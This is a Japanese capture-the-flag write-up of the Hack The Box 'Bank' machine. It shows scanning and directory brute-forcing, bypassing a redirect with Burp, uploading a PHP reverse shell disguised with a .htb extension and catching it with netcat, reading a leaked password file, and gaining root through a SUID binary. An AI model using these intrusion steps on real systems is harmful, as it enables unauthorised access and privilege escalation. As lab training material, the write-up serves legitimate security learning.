はじめに
筆者は Hack the Box 初心者です。 何か訂正や補足、アドバイスなどありましたら、コメントか Twitter までお願いします。 さんぽし(@sanpo_shiho) | Twitter
cheat sheet
以下で cheat sheet としてツールの使い方などをまとめています。参考にしてください。 github | sanposhiho/MYCHEATSHEET
machine について
難易度は easy です。
nmap
kali@kali:~$ nmap -sV -sC 10.10.10.29
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-25 22:14 EDT
Nmap scan report for 10.10.10.29
Host is up (0.26s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
| 2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
| 256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_ 256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.66 seconds
gobuster
http://10.10.10.29 を直接開くと apache の default ページが出てきます。apache 側で hostname の制限をしている可能性があるので hostname を bank.htb
と推測し、/etc/hosts
に 10.10.10.29 を bank.htb として登録します。すると以下のようにアクセスが可能になります。
kali@kali:~$ gobuster dir -u http://bank.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -t 40 -x php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://bank.htb
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2020/05/26 23:56:15 Starting gobuster
===============================================================
/login.php (Status: 200)
/support.php (Status: 302)
/uploads (Status: 301)
/index.php (Status: 302)
/assets (Status: 301)
/logout.php (Status: 302)
/inc (Status: 301)
/server-status (Status: 403)
/balance-transfer (Status: 301)
===============================================================
2020/05/27 01:16:28 Finished
===============================================================
/index.php, /support.php にアクセス
login.php にリダイレクトされます
Burp で何が起きてるかみてみる
responce は帰ってきてて、そのあとに redirect がかかってるっぽい…?
Burp で 302Found を replace
こんな感じで設定します。
/support.php
このように redirect 前のページを見れます。
source を確認
<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->
怪しい
php-reverse-shell
https://github.com/sanposhiho/MY_CHEAT_SHEET/blob/master/reverse_shell.md#php
kali@kali:~$ vim php-reverse-shell.php
kali@kali:~$ mv php-reverse-shell.php php-reverse-shell.htb
.htb に変えて upload します
Click here を click するとリバースシェルが取れます
kali@kali:~$ nc -lnvp 1212
listening on [any] 1212 ...
connect to [10.10.14.32] from (UNKNOWN) [10.10.10.29] 49704
Linux bank 4.4.0-79-generic #100~14.04.1-Ubuntu SMP Fri May 19 18:37:52 UTC 2017 i686 athlon i686 GNU/Linux
02:43:10 up 1 day, 21:27, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
user.txt が取れます
探索
/var/www/bank/bankreports.txt
$ cat bankreports.txt
cat bankreports.txt
+=================+
| HTB Bank Report |
+=================+
===Users===
Full Name: Christos Christopoulos
Email: [email protected]
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 2
Transactions: 8
Balance: 1.337$
===Users===$
これで ssh か!と思ったんですけどできませんでした。
SUID なファイルを探す
$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/var/htb/bin/emergency
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/mtr
/usr/sbin/uuidd
/usr/sbin/pppd
/bin/ping
/bin/ping6
/bin/su
/bin/fusermount
/bin/mount
/bin/umount
/var/htb/bin/emergency
ってなんでしょうか
唐突の PE
/var/htb/bin/emergency
がどんな動作をするのかみてみましょう
$ /var/htb/bin/emergency
/var/htb/bin/emergency
#
あれ…?
# whoami
whoami
root
なんか唐突に root になっちゃいました
終わりに
redirect がかかる index.php が Burp でよくみてみると response を返している →Burp で responce を書き換え の部分に気づくのが一番時間がかかりました(丸一日くらい手も足も出なくて唸ってた)